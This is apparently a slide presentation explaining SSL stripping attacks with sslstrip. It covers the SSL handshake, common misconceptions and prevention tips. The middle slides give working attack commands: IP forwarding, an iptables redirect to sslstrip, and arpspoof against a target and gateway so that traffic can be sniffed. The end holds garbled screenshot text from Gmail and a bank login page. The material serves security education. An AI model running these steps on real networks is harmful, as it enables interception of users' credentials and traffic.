SSL Spoofing

Man-In-The-Middle attack on SSL

Duane Peifer
Summary

- How SSL works
- Common SSL misconceptions
- SSL Spoofing
- Using sslstrip
- Preventing SSL Spoofing
- Examples of stripped sites
How SSL works

Client PC

Client hello

Server hello

Certificate

Server hello done

Client key exchange

Change cipher spec

Finished

Change cipher spec

Finished

Secure connection

Web Server
How SSL works

TCP -> HTTP

TCP -> SSL -> HTTP

TCP -> HTTPS -> HTTP
Common SSL misconceptions

- HTTPS means I am secure right?

- What about...
  - SSL version 2.0 flaws
  - Weak Ciphers < 128 bit
  - Certificate keys < 1024 bits
  - Client vulnerabilities
  - Server vulnerabilities
  - Application vulnerabilities

- SSL can provide a false sense of security
SSL Spoofing

- Moxie Marlinspike created sslstrip and presented at Black Hat DC 2009.
  http://www.thoughtcrime.org/

- Does not attack SSL itself, but the transition from non-encrypted to encrypted communications.
Common HTTP/HTTPS Connection

HTTP Connection on Port 80

Redirect to HTTPS

HTTPS Connection on Port 443

Server Certificate

Connection Established
Hijacking Communication

Client PC → HTTP request → Modified HTTP Response → Non-encrypted communication

Attacker

HTTP request → Redirect to HTTPS URL → Encrypted Communication

Web Server
Using sslstrip

1. Get sslstrip

A. Download and install sslstrip and arpspoof (linux only)
   - [http://www.thoughtcrime.org/software.html](http://www.thoughtcrime.org/software.html)

B. Backtrack 4 (pre-installed)
Using sslstrip

2. Configure attack machine for IP forwarding.

```bash
echo "1" > /proc/sys/net/ipv4/ip_forward
```

3. Route all HTTP traffic to sslstrip.

```bash
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 54321
```

4. Run sslstrip.

```bash
sslstrip -l 54321
```
Using sslstrip

5. Configure ARP spoofing.

    arpspoof –i eth0 –t <targetIP> <gatewayIP>

6. Launch a sniffer and collect data.
Expanding the attack

- What if a root certificate could be installed on the target?
- The attacker could potentially replace the certificate and maintain a secure connection.
Preventing SSL Spoofing

- Ensure you are using secure connections. Look for the HTTPS.
- Be careful about where you use secure sites.
- Secure machines on the network.
- Use static ARP tables.*

* This is a TON of work. Understand the ramifications of doing this before starting.
Normal

A Google approach to email.

Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

Less spam
Keep unwanted messages out of your inbox with Google's innovative technology.

Mobile access
Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. Learn more

Lots of space
Over 74.74.07.45.38 megabytes (and counting) of free storage.

New to Gmail? It's free and easy:
Create an account »

©2010 Google - Gmail for Business - Gmail Blog - Terms - Help
Normal

A Google approach to email.

Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- **Less spam**
  Keep unwanted messages out of your inbox with Google’s innovative technology.

- **Mobile access**
  Read Gmail on your mobile phone by pointing your phone’s web browser to http://gmail.com. Learn more.

- **Lots of space**
  Over 7.474.974.802 megabytes (and counting) of free storage.

New to Gmail? It’s free and easy.

Create an account »

©2010 Google - Gmail for Business - Gmail Blog - Terms - Help
A Google approach to email.

Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- **Less spam**
  Keep unwanted messages out of your inbox with Google's innovative technology.

- **Mobile access**
  Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. [Learn more](http://gmail.com).

- **Lots of space**
  Over 7,417,076 megabytes (and counting) of free storage.

New to Gmail? It's free and easy.

[Create an account »](http://gmail.com/signup)
Normal
Stripped
Normal
Normal
Stripped
Normal
Normal
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<script type="text/javascript"
src="https://www.summitfcu.org/onlineserv/HB/Signon.cgi?remote=TRUE"></script>
<script type="text/javascript">var bPasswordFocus = false;</script>
</head>